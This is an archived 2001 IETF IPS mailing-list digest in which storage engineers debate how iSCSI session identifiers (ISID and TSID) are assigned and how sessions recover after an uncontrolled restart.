X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD700@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I don't see how having the target assign the ISID, and effectively the whole SSID helps with the original problem of recovery from an uncontrolled restart. In fact, I think it makes it worse. Without and initiator assigned ISID the target is presented with no information with which to distinguish HBAs in a host. Assuming that HBA 1 has an existing session, how can the target tell the difference between HBA 2 sending a leading login with the intent of starting a new session, and HBA 1 sending a leading login after an uncontrolled restart? - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Black_David@emc.com Sent: Thursday, September 06, 2001 10:40 PM To: ips@ece.cmu.edu Subject: iSCSI: ISIDs Time to back up and regroup on this topic. It's clear that ISID management needs more attention, and hence there are some issues more basic than the attempted consensus call to work out. So, I'm going to abandon the attempted consensus call, and try to make progress on the underlying ISID issue. Those whose posts have called ISID management into question should not feel it necessary to apologize - this is an important issue to unscramble. A rough summary of where we find ourselves is: - iSCSI Initiator Names span network interfaces/adapters, as do iSCSI Target Names. - Multiple sessions are allowed between an iSCSI Initiator and Target. These are identified by an ISID and a TSID. - The ISID is the Initiator portion of the Session identifier and is used to track certain resources associated with the session (e.g., persistent reserves). - The TSID is the Target portion of the Session identifier, and serves primarily to make sure that all session identifiers (SSID = ISID||TSID) are unique at the Target. Michael Schoberg suggest getting rid of the ISID: > ISID - initiator-defined session-identifier > > Since initiators don't know about other initiators connected to this target, > this has the potential of causing problems. Eliminate it. The initiator > should simply state it's intentions of establishing a new session or adding > a connection to an existing session (via binary flags). The implication of this would be to make SSID = TSID, dynamically assigned by the Target (0 is a reserved value on Login asking Target to do this assignment), and partitioned appropriately across interfaces. Recoverable session resources would be associated with the combination of at the iSCSI Target, and the initiator tracks via - in both cases the TSID replaces the ISID. From a functional standpoint, this looks like it works, and has the nice additional property that session resources can be recovered through any iSCSI Initiator interface vs. having to go back to the one that's allowed to use the ISID for that session if ISIDs are statically partitioned. Does this cause any problems for the SAM-2 to iSCSI mapping? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 06:33:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05485 for ; Fri, 7 Sep 2001 06:33:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f879IBT23875 for ips-outgoing; Fri, 7 Sep 2001 05:18:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f879I9P23871 for ; Fri, 7 Sep 2001 05:18:09 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id FAA59396; Fri, 7 Sep 2001 05:15:54 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f879I8t24252; Fri, 7 Sep 2001 03:18:08 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: ISIDs To: Black_David@emc.com, "Jim Hafner" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 02:17:28 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 03:18:08 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David said: "Recoverable session resources would be associated with the combination of at the iSCSI Target, and the initiator tracks via - in both cases the TSID replaces the ISID." Jim, & David, please correct me but I think this means that only one Session could be started from any iSCSI Initiator Node to a Given Target. We previously permitted multiple sessions, since a number of vendors thought Single Connections pre session was simpler to implement and did not want to implement Multiple Connections per Session. They were going to continue (as they did in Fibre Channel) to rely on the "Wedge" driver approach. Now the Wedge Driver has not really a been defined as an SCSI construct, it just does a job that has been needed in connections like Fibre Channel. The ISID is what permits this case (of multiple individual connection sessions) to operate while sharing the same authentication space (iSCSI Node Name) with the other Sessions connected from the same Host to the same iSCSI Target Node. Many of us thought that Multiple Connections per Session was a better approach, but still a number of vendors saw simplicity in Single Connections per Session. The implication of that is they need the ability to bring multiple of these single sessions together via a Wedge Driver. And hence the need for ISID. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISIDs Time to back up and regroup on this topic. It's clear that ISID management needs more attention, and hence there are some issues more basic than the attempted consensus call to work out. So, I'm going to abandon the attempted consensus call, and try to make progress on the underlying ISID issue. Those whose posts have called ISID management into question should not feel it necessary to apologize - this is an important issue to unscramble. A rough summary of where we find ourselves is: - iSCSI Initiator Names span network interfaces/adapters, as do iSCSI Target Names. - Multiple sessions are allowed between an iSCSI Initiator and Target. These are identified by an ISID and a TSID. - The ISID is the Initiator portion of the Session identifier and is used to track certain resources associated with the session (e.g., persistent reserves). - The TSID is the Target portion of the Session identifier, and serves primarily to make sure that all session identifiers (SSID = ISID||TSID) are unique at the Target. Michael Schoberg suggest getting rid of the ISID: > ISID - initiator-defined session-identifier > > Since initiators don't know about other initiators connected to this target, > this has the potential of causing problems. Eliminate it. The initiator > should simply state it's intentions of establishing a new session or adding > a connection to an existing session (via binary flags). The implication of this would be to make SSID = TSID, dynamically assigned by the Target (0 is a reserved value on Login asking Target to do this assignment), and partitioned appropriately across interfaces. Recoverable session resources would be associated with the combination of at the iSCSI Target, and the initiator tracks via - in both cases the TSID replaces the ISID. From a functional standpoint, this looks like it works, and has the nice additional property that session resources can be recovered through any iSCSI Initiator interface vs. having to go back to the one that's allowed to use the ISID for that session if ISIDs are statically partitioned. Does this cause any problems for the SAM-2 to iSCSI mapping? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 10:44:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16053 for ; Fri, 7 Sep 2001 10:44:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87DawK16715 for ips-outgoing; Fri, 7 Sep 2001 09:36:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87DauP16710 for ; Fri, 7 Sep 2001 09:36:56 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 09:38:33 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD704@CORPMX14> From: Black_David@emc.com To: hufferd@us.ibm.com, Black_David@emc.com, hafner@almaden.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 09:29:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > "Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID." > > Jim, & David, please correct me but I think this means that only one > Session could be started from any iSCSI Initiator Node to a Given Target. No, multiple sessions are still possible - they'd be distinguished by different TSIDs. If different portal groups are in use, that'd have to be encoded in the TSID. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 10:47:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16199 for ; Fri, 7 Sep 2001 10:47:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87DuBn17871 for ips-outgoing; Fri, 7 Sep 2001 09:56:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87Du9P17867 for ; Fri, 7 Sep 2001 09:56:10 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 09:57:02 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD705@CORPMX14> From: Black_David@emc.com To: rod.harrison@windriver.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 09:48:17 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Rod, > I don't see how having the target assign the ISID, and effectively > the whole SSID helps with the original problem of recovery from an > uncontrolled restart. In fact, I think it makes it worse. It helps with the following problem: When the initiating adapter/interface assigns the ISID, mistakes in assigning the ISID (inadvertently using the same ISID twice on two different interfaces) can cause sessions to step on each other when that was not the intended result. If there's no ISID, and TSID is dynamically assigned by the Target, this problem can't happen. Recovery from an uncontrolled restart wouldn't change in principle. In order to recover session resources (e.g., persistent reserves), the HBA had to remember the ISID - now it would have to remember the TSID. In practice, this may be an important difference - an HBA can "remember" the ISID(s) by always using the same ISID value(s), whereas the TSID(s) have to be stored after being provided by the target. > Without and initiator assigned ISID the target is presented with no > information with which to distinguish HBAs in a host. Assuming that > HBA 1 has an existing session, how can the target tell the difference > between HBA 2 sending a leading login with the intent of starting a > new session, and HBA 1 sending a leading login after an uncontrolled > restart? HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the session it's trying to recover. Two HBAs are not necessary to create this scenario - it can occur with two sessions on a single HBA. If the HBA has forgotten the identity of the session it's trying to recover, that session is unrecoverable, but see above comment on differences in remembering an ISID vs. a TSID. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Rod Harrison [mailto:rod.harrison@windriver.com] > Sent: Friday, September 07, 2001 5:34 AM > To: Black_David@emc.com; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > I don't see how having the target assign the ISID, and effectively > the whole SSID helps with the original problem of recovery from an > uncontrolled restart. In fact, I think it makes it worse. > > Without and initiator assigned ISID the target is > presented with no > information with which to distinguish HBAs in a host. Assuming that > HBA 1 has an existing session, how can the target tell the difference > between HBA 2 sending a leading login with the intent of starting a > new session, and HBA 1 sending a leading login after an uncontrolled > restart? > > - Rod > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Black_David@emc.com > Sent: Thursday, September 06, 2001 10:40 PM > To: ips@ece.cmu.edu > Subject: iSCSI: ISIDs > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. The > initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Fri Sep 7 10:49:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16246 for ; Fri, 7 Sep 2001 10:49:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87DXbK16467 for ips-outgoing; Fri, 7 Sep 2001 09:33:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87DXYP16456 for ; Fri, 7 Sep 2001 09:33:34 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN29M; Fri, 7 Sep 2001 09:33:29 -0400 Reply-To: From: "Eddy Quicksall" To: "'Jim Hafner'" , Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 09:33:10 -0400 Message-ID: <000b01c137a1$a4369f30$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Jim, Thanks, this helps a lot. The problem I had was that David Black said: "the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged" So I was trying to rationalize that. The problem I have with this is that it will be difficult to get all HBAs and OS's to agree on how this InitiatorName is going to become known to the HBAs and how the ISIDs are going to be distributed to the HBAs. Especially when the best place for a SCSI HBA in the windows world is as a Miniport. So, I was thinking that the definition of InitiatorName should allow this. I think your explanation below does allow this. I think my original message way down below fits your definition. So, I attempted to suggest a definition of InitiatorName that would allow both what you have said and what David said. When I said "unique", I was a bit vague. What I meant was that the host could have several InitiatorNames and each InitiatorName would be responsible for his creation of unique ISID's. Now, I'm wondering why we are even trying to use the ISID to reset a session when we should be using the TSID ... because the target can produce unique TSIDs and use that to identify the session much more easily than using the combination of InitiatorName and ISID. Someone mentioned an issue with authentication ... that process should not require all HBA names to be known. Two things here: 1) if several HBAs are being shared by a common driver, the driver is well aware of the HBA manufacturer (it is probably produced by the HBA manufacturer) and the driver can be the InitiatorName (and hence distribute ISIDs to its HBAs). 2) but that does not fully cover the authentication point. i.e., that the OS should be the apex for authentication. For that, we could have a HostName. If an HBA does not want to play in that arena (because it is on a private network), it could give a NULL for the HostName. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Thursday, September 06, 2001 4:55 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I'll try to take a crack at this question. The problem is that the word "initiator" is being overused in these discussions (same for "target"). I personally try to make a distinction in every case, even if I sound pendantic. In almost all cases in the iSCSI spec (and I think rev-08 will make this explicit), the word 'initiator' means iSCSI initiator (an iSCSI Node doing client stuff) unless otherwise qualified. The iSCSI Initiator has exactly one iSCSI Name. An OS may have one such iSCSI Initiator in it, or it may have several (depends on how you want to use them, but access rights etc are supposed to be bound to the name, so fewer nodes in an OS means fewer names means less configuration and more consistent views of storage within the host). An iSCSI Initiator can have multiple network interfaces, lumped into groups (portal groups) with the property that within each portal group, a cross network interface multiple connection session can be built. For example, I could have two iSCSI HBAs, each with dual ethernet ports (and possibly different addresses for each port). Ideally, this is one iSCS Initiator, with two portal groups. The other context of 'initiator' is "SCSI Initiator" and that further qualifies to "SCSI Initiator Port" and 'SCSI initiator device'. In our case, the SCSI initiator device is 'attached' to the iSCSI Initiator (node) and there is only one such attachment. The SCSI Initiator ports are (as defined now) the initiator end points of sessions (are dynamically created). I hope that much is clear. I've annotated your questions/quotes below with my interpretation of which context the word initiator is implied. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 09:50:02 am Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". iSCSI Initiator" Initiators are one endpoint of a SCSI transport. I think this is "iSCSI Initiator"; however, it is not unrelated to the binding of one iSCSI Initiator to one SCSI Initiator Device, so you can probably read both of these terms here. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). iSCSI Initiator and iSCSI Target; it's the session which is loosely equivalent to an I_T nexus. That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators SCSI Initiator Port talking to the same target SCSI Target Port with both initiators on the same host SCSI Initiator Device (or perhaps even finer than that) ... your use of Initiator to interpret David, I think this was iSCSI Initiator Node does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. I'm not clear what you mean with this definition. "unique ISIDs" with respect to a particular target or globally unique? The later is not a requirement. The former is a requirement. However, "maintaining" is ambiguous. If an iSCSI Initiator Node partitions its ISID space among its portal groups (think HBAs here as is being discussed), then each portal group is maintaining its portion of the ISID space according to the uniqueness rules, but it's also true that by the simple act of partitioning, the iSCSI Initiator Node is doing the same thing. So who is the "maintainer" in your case, the node or the portal group? Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Fri Sep 7 10:49:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16271 for ; Fri, 7 Sep 2001 10:49:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87E3a018304 for ips-outgoing; Fri, 7 Sep 2001 10:03:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87E3YP18297 for ; Fri, 7 Sep 2001 10:03:34 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 10:03:28 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD706@CORPMX14> From: Black_David@emc.com To: marjorie_krueger@hp.com, ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Date: Fri, 7 Sep 2001 09:56:52 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Marj, > We're not calling concensus on Mike's suggestion. Even if Mike's suggestion > is implementable, the concensus question remains Option A or B? If you > wish to discuss Mike's suggestion, please start another thread. This one's > getting lost... Already did that ... but this ISID issue needs to get resolved as part of the Option A or B question because removing the ISID would remove Nick's scenarios in which inadvertent reuse of ISIDs across adapters/interfaces causes problems. If that reuse can't happen, then Option A makes a lot more sense, because the presence of a non-zero TSID on login can *only* refer to a previously existing session. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 10:52:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16339 for ; Fri, 7 Sep 2001 10:52:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87E1wk18188 for ips-outgoing; Fri, 7 Sep 2001 10:01:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cs.unh.edu (cs.unh.edu [132.177.4.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87E1qP18177 for ; Fri, 7 Sep 2001 10:01:56 -0400 (EDT) Received: from lava.cs.unh.edu (lava.cs.unh.edu [132.177.4.30]) by cs.unh.edu (8.11.0/8.11.0) with ESMTP id f87E1pW12180 for ; Fri, 7 Sep 2001 10:01:51 -0400 (EDT) Date: Fri, 7 Sep 2001 10:01:51 -0400 (EDT) From: Chaoyang Deng To: ips@ece.cmu.edu Subject: Remove In-Reply-To: <268DBFF7D2A3D411A37400D0B72E345FDA9450@aimexc03.corp.adaptec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Remove From owner-ips@ece.cmu.edu Fri Sep 7 11:03:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16591 for ; Fri, 7 Sep 2001 11:03:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87E3ak18305 for ips-outgoing; Fri, 7 Sep 2001 10:03:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87E3SP18282 for ; Fri, 7 Sep 2001 10:03:33 -0400 (EDT) Received: from london ([192.168.1.7]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id HAA14704; Fri, 7 Sep 2001 07:03:12 -0700 (PDT) From: "Rod Harrison" To: , Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 15:05:05 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD705@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, Comments below. - Rod > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Friday, September 07, 2001 2:48 PM > To: rod.harrison@windriver.com; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > Rod, > > > I don't see how having the target assign the ISID, > and effectively > > the whole SSID helps with the original problem of > recovery from an > > uncontrolled restart. In fact, I think it makes it worse. > > It helps with the following problem: > > When the initiating adapter/interface assigns the > ISID, mistakes > in assigning the ISID (inadvertently using the same ISID twice > on two different interfaces) can cause sessions to > step on each > other when that was not the intended result. If there's no > ISID, and TSID is dynamically assigned by the Target, this > problem can't happen. > I agree that this part is simpler, my concern was over uncontrolled restart. > Recovery from an uncontrolled restart wouldn't change in > principle. > In order to recover session resources (e.g., persistent > reserves), the > HBA had to remember the ISID - now it would have to > remember the TSID. > In practice, this may be an important difference - an > HBA can "remember" > the ISID(s) by always using the same ISID value(s), > whereas the TSID(s) > have to be stored after being provided by the target. > > > Without and initiator assigned ISID the target is > presented with no > > information with which to distinguish HBAs in a host. > Assuming that > > HBA 1 has an existing session, how can the target tell > the difference > > between HBA 2 sending a leading login with the intent > of starting a > > new session, and HBA 1 sending a leading login after > an uncontrolled > > restart? > > HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the > session it's > trying to recover. Two HBAs are not necessary to create > this scenario - > it can occur with two sessions on a single HBA. If the > HBA has forgotten > the identity of the session it's trying to recover, that > session is > unrecoverable, but see above comment on differences in > remembering > an ISID vs. a TSID. > This is where I think we have a problem, if HBA 1 isn't trying to recover because it has had an uncontrolled restart it too will send a TSID of 0. How then can the target know whether it should clean the old session to HBA 1, or open a new session to HBA 2. IP address? I fear I am missing something. > Thanks, > --David > --------------------------------------------------- > David L. 